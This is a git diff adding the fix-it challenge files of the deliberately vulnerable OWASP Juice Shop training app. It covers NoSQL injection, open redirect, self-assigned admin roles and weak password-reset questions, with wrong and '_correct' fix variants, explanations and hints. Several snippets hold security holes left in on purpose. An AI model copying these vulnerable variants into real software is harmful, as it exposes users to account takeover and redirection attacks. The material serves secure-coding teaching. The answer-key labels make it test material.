b/data/static/codefixes/noSqlReviewsChallenge_1.ts @@ -0,0 +1,20 @@ +module.exports = function productReviews () { + return (req: Request, res: Response, next: NextFunction) => { + const user = security.authenticatedUsers.from(req) + + if (req.body.id['$ne'] !== undefined) { + res.status(400).send() + return + } + + db.reviews.update( + { _id: req.body.id }, + { $set: { message: req.body.message } } + ).then( + (result: { modified: number, original: Array<{ author: any }> }) => { + res.json(result) + }, (err: unknown) => { + res.status(500).json(err) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/noSqlReviewsChallenge_2.ts b/data/static/codefixes/noSqlReviewsChallenge_2.ts new file mode 100644 index 00000000000..6f7eb15938f --- /dev/null +++ b/data/static/codefixes/noSqlReviewsChallenge_2.ts @@ -0,0 +1,14 @@ +module.exports = function productReviews () { + return (req: Request, res: Response, next: NextFunction) => { + const user = security.authenticatedUsers.from(req) + db.reviews.update( + { _id: req.body.id }, + { $set: { message: req.body.message } } + ).then( + (result: { modified: number, original: Array<{ author: any }> }) => { + res.json(result) + }, (err: unknown) => { + res.status(500).json(err) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/noSqlReviewsChallenge_3_correct.ts b/data/static/codefixes/noSqlReviewsChallenge_3_correct.ts new file mode 100644 index 00000000000..56696db9eff --- /dev/null +++ b/data/static/codefixes/noSqlReviewsChallenge_3_correct.ts @@ -0,0 +1,20 @@ +module.exports = function productReviews () { + return (req: Request, res: Response, next: NextFunction) => { + const user = security.authenticatedUsers.from(req) + + if (typeof req.body.id !== 'string') { + res.status(400).send() + return + } + + db.reviews.update( + { _id: req.body.id }, + { $set: { message: req.body.message } } + ).then( + (result: { modified: number, original: Array<{ author: any }> }) => { + res.json(result) + }, (err: unknown) => { + res.status(500).json(err) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/redirectChallenge.info.yml b/data/static/codefixes/redirectChallenge.info.yml new file mode 100644 index 00000000000..0e041d5f26c --- /dev/null +++ b/data/static/codefixes/redirectChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: "The open redirect flaw in this code cannot be fixed by applying URL encoding to the target URL. In fact, it would break the entire redirect mechanism for allow-listed URLs as they are not URL-encoded and would therefore never match." + - id: 2 + explanation: 'Changing from logical "or" to logical "and" here does not do anything for security but entirely breaks the redirect mechanism as "allowed" can never be true after the loop.' + - id: 3 + explanation: "HTML-escaping is completely wrong in this situation because the code is dealing with URLs and not HTML input." + - id: 4 + explanation: "Using indexOf allowed any URLs as long as they contained any allow-listed URL, even if it just would be as a parameter. Replacing this with an actual equality check mitigates this lapse and makes the redirect only work for allow-listed URLs." +hints: + - "You should take a close look at how this code checks for allowed vs. forbidded URLs to redirect to." + - "Try to play through how the logical operators and used standard functions work in this situation." + - "Could you somehow make the code believe that it is dealing with an allow-listed URL while it actually isn't?" diff --git a/data/static/codefixes/redirectChallenge_1.ts b/data/static/codefixes/redirectChallenge_1.ts new file mode 100644 index 00000000000..4a67fb11ee7 --- /dev/null +++ b/data/static/codefixes/redirectChallenge_1.ts @@ -0,0 +1,19 @@ +const redirectAllowlist = new Set([ + 'https://github.com/bkimminich/juice-shop', + 'https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm', + 'https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW', + 'https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6', + 'http://shop.spreadshirt.com/juiceshop', + 'http://shop.spreadshirt.de/juiceshop', + 'https://www.stickeryou.com/products/owasp-juice-shop/794', + 'http://leanpub.com/juice-shop' +]) +exports.redirectAllowlist = redirectAllowlist + +exports.isRedirectAllowed = (url: string) => { + let allowed = false + for (const allowedUrl of redirectAllowlist) { + allowed = allowed || url.includes(encodeURI(allowedUrl)) + } + return allowed +} \ No newline at end of file diff --git a/data/static/codefixes/redirectChallenge_2.ts b/data/static/codefixes/redirectChallenge_2.ts new file mode 100644 index 00000000000..7491b8c622d --- /dev/null +++ b/data/static/codefixes/redirectChallenge_2.ts @@ -0,0 +1,19 @@ +const redirectAllowlist = new Set([ + 'https://github.com/bkimminich/juice-shop', + 'https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm', + 'https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW', + 'https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6', + 'http://shop.spreadshirt.com/juiceshop', + 'http://shop.spreadshirt.de/juiceshop', + 'https://www.stickeryou.com/products/owasp-juice-shop/794', + 'http://leanpub.com/juice-shop' +]) +exports.redirectAllowlist = redirectAllowlist + +exports.isRedirectAllowed = (url: string) => { + let allowed = false + for (const allowedUrl of redirectAllowlist) { + allowed = allowed && url.includes(allowedUrl) + } + return allowed +} \ No newline at end of file diff --git a/data/static/codefixes/redirectChallenge_3.ts b/data/static/codefixes/redirectChallenge_3.ts new file mode 100644 index 00000000000..c72e969c31a --- /dev/null +++ b/data/static/codefixes/redirectChallenge_3.ts @@ -0,0 +1,32 @@ +const redirectAllowlist = new Set([ + 'https://github.com/bkimminich/juice-shop', + 'https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm', + 'https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW', + 'https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6', + 'http://shop.spreadshirt.com/juiceshop', + 'http://shop.spreadshirt.de/juiceshop', + 'https://www.stickeryou.com/products/owasp-juice-shop/794', + 'http://leanpub.com/juice-shop' +]) +exports.redirectAllowlist = redirectAllowlist + +exports.isRedirectAllowed = (url: string) => { + let allowed = false + for (const allowedUrl of redirectAllowlist) { + allowed = allowed || url.includes(escapeHTML(allowedUrl)) + } + return allowed +} + +const escapeHTML = str => { + return str.replace(/[&<>'"]/g, + tag => { + return ({ + '&': '&', + '<': '<', + '>': '>', + "'": ''', + '"': '"' + }[tag]) + }) +} \ No newline at end of file diff --git a/data/static/codefixes/redirectChallenge_4_correct.ts b/data/static/codefixes/redirectChallenge_4_correct.ts new file mode 100644 index 00000000000..dfb43a5637e --- /dev/null +++ b/data/static/codefixes/redirectChallenge_4_correct.ts @@ -0,0 +1,19 @@ +const redirectAllowlist = new Set([ + 'https://github.com/bkimminich/juice-shop', + 'https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm', + 'https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW', + 'https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6', + 'http://shop.spreadshirt.com/juiceshop', + 'http://shop.spreadshirt.de/juiceshop', + 'https://www.stickeryou.com/products/owasp-juice-shop/794', + 'http://leanpub.com/juice-shop' +]) +exports.redirectAllowlist = redirectAllowlist + +exports.isRedirectAllowed = (url: string) => { + let allowed = false + for (const allowedUrl of redirectAllowlist) { + allowed = allowed || url === allowedUrl + } + return allowed +} \ No newline at end of file diff --git a/data/static/codefixes/redirectCryptoCurrencyChallenge.info.yml b/data/static/codefixes/redirectCryptoCurrencyChallenge.info.yml new file mode 100644 index 00000000000..c6ce2001648 --- /dev/null +++ b/data/static/codefixes/redirectCryptoCurrencyChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: "This fix removes one deprecated crypto currency address from the allow list but forgets to deal with two other ones." + - id: 2 + explanation: "This fix removes one deprecated crypto currency address from the allow list but forgets to deal with two other ones." + - id: 3 + explanation: "When cleaning up any allow list of deprecated entries, it is crucial to be thorough and re-check the list regularly. Otherwise allow lists tend to become weaker over time." + - id: 4 + explanation: "This fix removes one deprecated crypto currency address from the allow list but forgets to deal with two other ones." +hints: + - "Can you identify the lines which have something to do with crypto currency addresses?" + - "Did you notice there is a constant containing allowed redirect web addresses?" + - "Make sure to select all three lines responsible for crypto currency addresses which are not promoted any longer." diff --git a/data/static/codefixes/redirectCryptoCurrencyChallenge_1.ts b/data/static/codefixes/redirectCryptoCurrencyChallenge_1.ts new file mode 100644 index 00000000000..7c41ed8e336 --- /dev/null +++ b/data/static/codefixes/redirectCryptoCurrencyChallenge_1.ts @@ -0,0 +1,18 @@ +const redirectAllowlist = new Set([ + 'https://github.com/bkimminich/juice-shop', + 'https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW', + 'https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6', + 'http://shop.spreadshirt.com/juiceshop', + 'http://shop.spreadshirt.de/juiceshop', + 'https://www.stickeryou.com/products/owasp-juice-shop/794', + 'http://leanpub.com/juice-shop' +]) +exports.redirectAllowlist = redirectAllowlist + +exports.isRedirectAllowed = (url: string) => { + let allowed = false + for (const allowedUrl of redirectAllowlist) { + allowed = allowed || url.includes(allowedUrl) + } + return allowed +} \ No newline at end of file diff --git a/data/static/codefixes/redirectCryptoCurrencyChallenge_2.ts b/data/static/codefixes/redirectCryptoCurrencyChallenge_2.ts new file mode 100644 index 00000000000..2101f393ecb --- /dev/null +++ b/data/static/codefixes/redirectCryptoCurrencyChallenge_2.ts @@ -0,0 +1,18 @@ +const redirectAllowlist = new Set([ + 'https://github.com/bkimminich/juice-shop', + 'https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm', + 'https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6', + 'http://shop.spreadshirt.com/juiceshop', + 'http://shop.spreadshirt.de/juiceshop', + 'https://www.stickeryou.com/products/owasp-juice-shop/794', + 'http://leanpub.com/juice-shop' +]) +exports.redirectAllowlist = redirectAllowlist + +exports.isRedirectAllowed = (url: string) => { + let allowed = false + for (const allowedUrl of redirectAllowlist) { + allowed = allowed || url.includes(allowedUrl) + } + return allowed +} \ No newline at end of file diff --git a/data/static/codefixes/redirectCryptoCurrencyChallenge_3_correct.ts b/data/static/codefixes/redirectCryptoCurrencyChallenge_3_correct.ts new file mode 100644 index 00000000000..7c6dbfbff19 --- /dev/null +++ b/data/static/codefixes/redirectCryptoCurrencyChallenge_3_correct.ts @@ -0,0 +1,16 @@ +const redirectAllowlist = new Set([ + 'https://github.com/bkimminich/juice-shop', + 'http://shop.spreadshirt.com/juiceshop', + 'http://shop.spreadshirt.de/juiceshop', + 'https://www.stickeryou.com/products/owasp-juice-shop/794', + 'http://leanpub.com/juice-shop' +]) +exports.redirectAllowlist = redirectAllowlist + +exports.isRedirectAllowed = (url: string) => { + let allowed = false + for (const allowedUrl of redirectAllowlist) { + allowed = allowed || url.includes(allowedUrl) + } + return allowed +} \ No newline at end of file diff --git a/data/static/codefixes/redirectCryptoCurrencyChallenge_4.ts b/data/static/codefixes/redirectCryptoCurrencyChallenge_4.ts new file mode 100644 index 00000000000..5150c77c03c --- /dev/null +++ b/data/static/codefixes/redirectCryptoCurrencyChallenge_4.ts @@ -0,0 +1,18 @@ +const redirectAllowlist = new Set([ + 'https://github.com/bkimminich/juice-shop', + 'https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm', + 'https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW', + 'http://shop.spreadshirt.com/juiceshop', + 'http://shop.spreadshirt.de/juiceshop', + 'https://www.stickeryou.com/products/owasp-juice-shop/794', + 'http://leanpub.com/juice-shop' +]) +exports.redirectAllowlist = redirectAllowlist + +exports.isRedirectAllowed = (url: string) => { + let allowed = false + for (const allowedUrl of redirectAllowlist) { + allowed = allowed || url.includes(allowedUrl) + } + return allowed +} \ No newline at end of file diff --git a/data/static/codefixes/registerAdminChallenge.info.yml b/data/static/codefixes/registerAdminChallenge.info.yml new file mode 100644 index 00000000000..2975029e6af --- /dev/null +++ b/data/static/codefixes/registerAdminChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: 'This code change will check if a role is already defined on the user entity. If so, it will keep it. If not, it will set "customer" as a fallback role. This still allows anyone to pick their own prefered role, though.' + - id: 2 + explanation: "Removing the interceptor function completely not only keeps the role assignment possible, it also breaks functionality by no longer creating digital wallets for new users." + - id: 3 + explanation: 'This actually fixes the role assignment issue, by overriding any value pre-set via the POST request with a static "customer" default role.' + - id: 4 + explanation: 'This change results in the "role" property not being returned in any User-API responses. This will not prevent setting an arbitrary role during user creation but probably also break some functionality in the client that relies on the role being present.' +hints: + - "Which entity is this challenge most likely about? Try to find all code places where that entity is somehow processed." + - "In this snippet you must look for a place where something is missing that, if present, would negate an arbitrary role assignment." + - "Make sure that you do not select any lines that are contained in the vulnerable function but themselves have nothing to do with the vulberability." diff --git a/data/static/codefixes/registerAdminChallenge_1.ts b/data/static/codefixes/registerAdminChallenge_1.ts new file mode 100644 index 00000000000..2f4c1a031d2 --- /dev/null +++ b/data/static/codefixes/registerAdminChallenge_1.ts @@ -0,0 +1,36 @@ +/* Generated API endpoints */ + finale.initialize({ app, sequelize }) + + const autoModels = [ + { name: 'User', exclude: ['password', 'totpSecret'], model: UserModel }, + { name: 'Product', exclude: [], model: ProductModel }, + { name: 'Feedback', exclude: [], model: FeedbackModel }, + { name: 'BasketItem', exclude: [], model: BasketItemModel }, + { name: 'Challenge', exclude: [], model: ChallengeModel }, + { name: 'Complaint', exclude: [], model: ComplaintModel }, + { name: 'Recycle', exclude: [], model: RecycleModel }, + { name: 'SecurityQuestion', exclude: [], model: SecurityQuestionModel }, + { name: 'SecurityAnswer', exclude: [], model: SecurityAnswerModel }, + { name: 'Address', exclude: [], model: AddressModel }, + { name: 'PrivacyRequest', exclude: [], model: PrivacyRequestModel }, + { name: 'Card', exclude: [], model: CardModel }, + { name: 'Quantity', exclude: [], model: QuantityModel } + ] + + for (const { name, exclude, model } of autoModels) { + const resource = finale.resource({ + model, + endpoints: [`/api/${name}s`, `/api/${name}s/:id`], + excludeAttributes: exclude + }) + + // create a wallet when a new user is registered using API + if (name === 'User') { + resource.create.send.before((req: Request, res: Response, context: { instance: { id: any }, continue: any }) => { + WalletModel.create({ UserId: context.instance.id }).catch((err: unknown) => { + console.log(err) + }) + context.instance.role = context.instance.role ? context.instance.role : 'customer' + return context.continue + }) + } \ No newline at end of file diff --git a/data/static/codefixes/registerAdminChallenge_2.ts b/data/static/codefixes/registerAdminChallenge_2.ts new file mode 100644 index 00000000000..946b2ed198a --- /dev/null +++ b/data/static/codefixes/registerAdminChallenge_2.ts @@ -0,0 +1,24 @@ +/* Generated API endpoints */ + finale.initialize({ app, sequelize }) + + const autoModels = [ + { name: 'Product', exclude: [], model: ProductModel }, + { name: 'Feedback', exclude: [], model: FeedbackModel }, + { name: 'BasketItem', exclude: [], model: BasketItemModel }, + { name: 'Challenge', exclude: [], model: ChallengeModel }, + { name: 'Complaint', exclude: [], model: ComplaintModel }, + { name: 'Recycle', exclude: [], model: RecycleModel }, + { name: 'SecurityQuestion', exclude: [], model: SecurityQuestionModel }, + { name: 'SecurityAnswer', exclude: [], model: SecurityAnswerModel }, + { name: 'Address', exclude: [], model: AddressModel }, + { name: 'PrivacyRequest', exclude: [], model: PrivacyRequestModel }, + { name: 'Card', exclude: [], model: CardModel }, + { name: 'Quantity', exclude: [], model: QuantityModel } + ] + + for (const { name, exclude, model } of autoModels) { + const resource = finale.resource({ + model, + endpoints: [`/api/${name}s`, `/api/${name}s/:id`], + excludeAttributes: exclude + }) \ No newline at end of file diff --git a/data/static/codefixes/registerAdminChallenge_3_correct.ts b/data/static/codefixes/registerAdminChallenge_3_correct.ts new file mode 100644 index 00000000000..6acec5621a0 --- /dev/null +++ b/data/static/codefixes/registerAdminChallenge_3_correct.ts @@ -0,0 +1,36 @@ +/* Generated API endpoints */ + finale.initialize({ app, sequelize }) + + const autoModels = [ + { name: 'User', exclude: ['password', 'totpSecret'], model: UserModel }, + { name: 'Product', exclude: [], model: ProductModel }, + { name: 'Feedback', exclude: [], model: FeedbackModel }, + { name: 'BasketItem', exclude: [], model: BasketItemModel }, + { name: 'Challenge', exclude: [], model: ChallengeModel }, + { name: 'Complaint', exclude: [], model: ComplaintModel }, + { name: 'Recycle', exclude: [], model: RecycleModel }, + { name: 'SecurityQuestion', exclude: [], model: SecurityQuestionModel }, + { name: 'SecurityAnswer', exclude: [], model: SecurityAnswerModel }, + { name: 'Address', exclude: [], model: AddressModel }, + { name: 'PrivacyRequest', exclude: [], model: PrivacyRequestModel }, + { name: 'Card', exclude: [], model: CardModel }, + { name: 'Quantity', exclude: [], model: QuantityModel } + ] + + for (const { name, exclude, model } of autoModels) { + const resource = finale.resource({ + model, + endpoints: [`/api/${name}s`, `/api/${name}s/:id`], + excludeAttributes: exclude + }) + + // create a wallet when a new user is registered using API + if (name === 'User') { + resource.create.send.before((req: Request, res: Response, context: { instance: { id: any }, continue: any }) => { + WalletModel.create({ UserId: context.instance.id }).catch((err: unknown) => { + console.log(err) + }) + context.instance.role = 'customer' + return context.continue + }) + } \ No newline at end of file diff --git a/data/static/codefixes/registerAdminChallenge_4.ts b/data/static/codefixes/registerAdminChallenge_4.ts new file mode 100644 index 00000000000..2a8379ed178 --- /dev/null +++ b/data/static/codefixes/registerAdminChallenge_4.ts @@ -0,0 +1,35 @@ +/* Generated API endpoints */ + finale.initialize({ app, sequelize }) + + const autoModels = [ + { name: 'User', exclude: ['password', 'totpSecret', 'role'], model: UserModel }, + { name: 'Product', exclude: [], model: ProductModel }, + { name: 'Feedback', exclude: [], model: FeedbackModel }, + { name: 'BasketItem', exclude: [], model: BasketItemModel }, + { name: 'Challenge', exclude: [], model: ChallengeModel }, + { name: 'Complaint', exclude: [], model: ComplaintModel }, + { name: 'Recycle', exclude: [], model: RecycleModel }, + { name: 'SecurityQuestion', exclude: [], model: SecurityQuestionModel }, + { name: 'SecurityAnswer', exclude: [], model: SecurityAnswerModel }, + { name: 'Address', exclude: [], model: AddressModel }, + { name: 'PrivacyRequest', exclude: [], model: PrivacyRequestModel }, + { name: 'Card', exclude: [], model: CardModel }, + { name: 'Quantity', exclude: [], model: QuantityModel } + ] + + for (const { name, exclude, model } of autoModels) { + const resource = finale.resource({ + model, + endpoints: [`/api/${name}s`, `/api/${name}s/:id`], + excludeAttributes: exclude + }) + + // create a wallet when a new user is registered using API + if (name === 'User') { + resource.create.send.before((req: Request, res: Response, context: { instance: { id: any }, continue: any }) => { + WalletModel.create({ UserId: context.instance.id }).catch((err: unknown) => { + console.log(err) + }) + return context.continue + }) + } \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordBenderChallenge.info.yml b/data/static/codefixes/resetPasswordBenderChallenge.info.yml new file mode 100644 index 00000000000..26ddc23f443 --- /dev/null +++ b/data/static/codefixes/resetPasswordBenderChallenge.info.yml @@ -0,0 +1,10 @@ +fixes: + - id: 1 + explanation: "While not necessarily as trivial to research via a user's LinkedIn profile, the question is still easy to research or brute force when answered truthfully." + - id: 2 + explanation: "When answered truthfully, all security questions are susceptible to online research (on Facebook, LinkedIn etc.) and often even brute force. If at all, they should not be used as the only factor for a security-relevant function." + - id: 3 + explanation: 'Exchanging "company" with "organization" is only a vocabulary change and has no effect on security.' +hints: + - "Do you remember the security question that Bender used for his account?" + - "This question is the source of the security risk in this challenge." diff --git a/data/static/codefixes/resetPasswordBenderChallenge_1.yml b/data/static/codefixes/resetPasswordBenderChallenge_1.yml new file mode 100644 index 00000000000..3a3047f6924 --- /dev/null +++ b/data/static/codefixes/resetPasswordBenderChallenge_1.yml @@ -0,0 +1,28 @@ +- + question: 'Your eldest siblings middle name?' +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Name of your favorite pet?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code when you were a teenager?' +- + question: 'First job you had as a teenager?' +- + question: 'Your favorite book?' +- + question: 'Your favorite movie?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordBenderChallenge_2_correct.yml b/data/static/codefixes/resetPasswordBenderChallenge_2_correct.yml new file mode 100644 index 00000000000..a5b448799f7 --- /dev/null +++ b/data/static/codefixes/resetPasswordBenderChallenge_2_correct.yml @@ -0,0 +1,4 @@ +# Provide password reset option via a one-time link with +# short expiration span to registered email address instead +# of allowing reset on-the-fly by answering a security +# question. \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordBenderChallenge_3.yml b/data/static/codefixes/resetPasswordBenderChallenge_3.yml new file mode 100644 index 00000000000..9a479307490 --- /dev/null +++ b/data/static/codefixes/resetPasswordBenderChallenge_3.yml @@ -0,0 +1,28 @@ +- + question: 'Your eldest siblings middle name?' +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Name of your favorite pet?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code when you were a teenager?' +- + question: 'Organization you first work for as an adult?' +- + question: 'Your favorite book?' +- + question: 'Your favorite movie?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordBjoernChallenge.info.yml b/data/static/codefixes/resetPasswordBjoernChallenge.info.yml new file mode 100644 index 00000000000..bb3d2aff382 --- /dev/null +++ b/data/static/codefixes/resetPasswordBjoernChallenge.info.yml @@ -0,0 +1,10 @@ +fixes: + - id: 1 + explanation: "When answered truthfully, all security questions are susceptible to online research (on Facebook, LinkedIn etc.) and often even brute force. If at all, they should not be used as the only factor for a security-relevant function." + - id: 2 + explanation: 'When changing the scope of this question from "teenager" to "toddler", researching a past place of residence still is the only (low) hurdle for the attacker.' + - id: 3 + explanation: "Researching someone's current place of residence is probably even easier than a past one." +hints: + - "Do you remember the security question that Bjoern used for his account?" + - "This question is the source of the security risk in this challenge." diff --git a/data/static/codefixes/resetPasswordBjoernChallenge_1_correct.yml b/data/static/codefixes/resetPasswordBjoernChallenge_1_correct.yml new file mode 100644 index 00000000000..a5b448799f7 --- /dev/null +++ b/data/static/codefixes/resetPasswordBjoernChallenge_1_correct.yml @@ -0,0 +1,4 @@ +# Provide password reset option via a one-time link with +# short expiration span to registered email address instead +# of allowing reset on-the-fly by answering a security +# question. \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordBjoernChallenge_2.yml b/data/static/codefixes/resetPasswordBjoernChallenge_2.yml new file mode 100644 index 00000000000..cf055e8c19f --- /dev/null +++ b/data/static/codefixes/resetPasswordBjoernChallenge_2.yml @@ -0,0 +1,28 @@ +- + question: 'Your eldest siblings middle name?' +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Name of your favorite pet?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code when you were a toddler?' +- + question: 'Company you first work for as an adult?' +- + question: 'Your favorite book?' +- + question: 'Your favorite movie?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordBjoernChallenge_3.yml b/data/static/codefixes/resetPasswordBjoernChallenge_3.yml new file mode 100644 index 00000000000..78fe6df8fe4 --- /dev/null +++ b/data/static/codefixes/resetPasswordBjoernChallenge_3.yml @@ -0,0 +1,28 @@ +- + question: 'Your eldest siblings middle name?' +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Name of your favorite pet?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code where you live today?' +- + question: 'Company you first work for as an adult?' +- + question: 'Your favorite book?' +- + question: 'Your favorite movie?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordBjoernOwaspChallenge.info.yml b/data/static/codefixes/resetPasswordBjoernOwaspChallenge.info.yml new file mode 100644 index 00000000000..8feae1e2102 --- /dev/null +++ b/data/static/codefixes/resetPasswordBjoernOwaspChallenge.info.yml @@ -0,0 +1,10 @@ +fixes: + - id: 1 + explanation: 'This fix option is obviously (?) a joke. But it should still illustrate that narrowing the scope of a question reduces the solution space accordingly, thus making "social stalking" and brute force much easier.' + - id: 2 + explanation: "When answered truthfully, all security questions are susceptible to online research (on Facebook, LinkedIn etc.) and often even brute force. If at all, they should not be used as the only factor for a security-relevant function." + - id: 3 + explanation: "There are even less car brands in the world than potential pet names. Therefore, changing the security questions has even a negative effect on overall security as it makes guessing and brute forcing much easier." +hints: + - "Do you remember the security question that Bjoern used for his OWASP account?" + - "This question is the source of the security risk in this challenge." diff --git a/data/static/codefixes/resetPasswordBjoernOwaspChallenge_1.yml b/data/static/codefixes/resetPasswordBjoernOwaspChallenge_1.yml new file mode 100644 index 00000000000..3fc5a02a777 --- /dev/null +++ b/data/static/codefixes/resetPasswordBjoernOwaspChallenge_1.yml @@ -0,0 +1,28 @@ +- + question: 'Your eldest siblings middle name?' +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Name of your favorite super-cute three-legged cat?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code when you were a teenager?' +- + question: 'Company you first work for as an adult?' +- + question: 'Your favorite book?' +- + question: 'Your favorite movie?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordBjoernOwaspChallenge_2_correct.yml b/data/static/codefixes/resetPasswordBjoernOwaspChallenge_2_correct.yml new file mode 100644 index 00000000000..a5b448799f7 --- /dev/null +++ b/data/static/codefixes/resetPasswordBjoernOwaspChallenge_2_correct.yml @@ -0,0 +1,4 @@ +# Provide password reset option via a one-time link with +# short expiration span to registered email address instead +# of allowing reset on-the-fly by answering a security +# question. \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordBjoernOwaspChallenge_3.yml b/data/static/codefixes/resetPasswordBjoernOwaspChallenge_3.yml new file mode 100644 index 00000000000..e4557f80391 --- /dev/null +++ b/data/static/codefixes/resetPasswordBjoernOwaspChallenge_3.yml @@ -0,0 +1,28 @@ +- + question: 'Your eldest siblings middle name?' +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Brand of your favorite car?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code when you were a teenager?' +- + question: 'Company you first work for as an adult?' +- + question: 'Your favorite book?' +- + question: 'Your favorite movie?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordJimChallenge.info.yml b/data/static/codefixes/resetPasswordJimChallenge.info.yml new file mode 100644 index 00000000000..41ce5a9005a --- /dev/null +++ b/data/static/codefixes/resetPasswordJimChallenge.info.yml @@ -0,0 +1,10 @@ +fixes: + - id: 1 + explanation: 'Widening the scope from an "eldest sibling" to "any family member" still allows the question to be easily researched online (on Facebook etc.) or brute forced when answered truthfully.' + - id: 2 + explanation: 'Tightening the scope from an "eldest sibling" to "eldest brother" reduces any brute force effort to only male forenames, assuming the question is answered truthfully.' + - id: 3 + explanation: "When answered truthfully, all security questions are susceptible to online research (on Facebook, LinkedIn etc.) and often even brute force. If at all, they should not be used as the only factor for a security-relevant function." +hints: + - "Do you remember the security question that Jim used for his account?" + - "This question is the source of the security risk in this challenge." diff --git a/data/static/codefixes/resetPasswordJimChallenge_1.yml b/data/static/codefixes/resetPasswordJimChallenge_1.yml new file mode 100644 index 00000000000..d96682c0bd3 --- /dev/null +++ b/data/static/codefixes/resetPasswordJimChallenge_1.yml @@ -0,0 +1,28 @@ +- + question: "Any family member's middle name?" +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Name of your favorite pet?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code when you were a teenager?' +- + question: 'Company you first work for as an adult?' +- + question: 'Your favorite book?' +- + question: 'Your favorite movie?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordJimChallenge_2.yml b/data/static/codefixes/resetPasswordJimChallenge_2.yml new file mode 100644 index 00000000000..19714eb66ae --- /dev/null +++ b/data/static/codefixes/resetPasswordJimChallenge_2.yml @@ -0,0 +1,28 @@ +- + question: 'Your eldest brothers middle name?' +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Name of your favorite pet?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code when you were a teenager?' 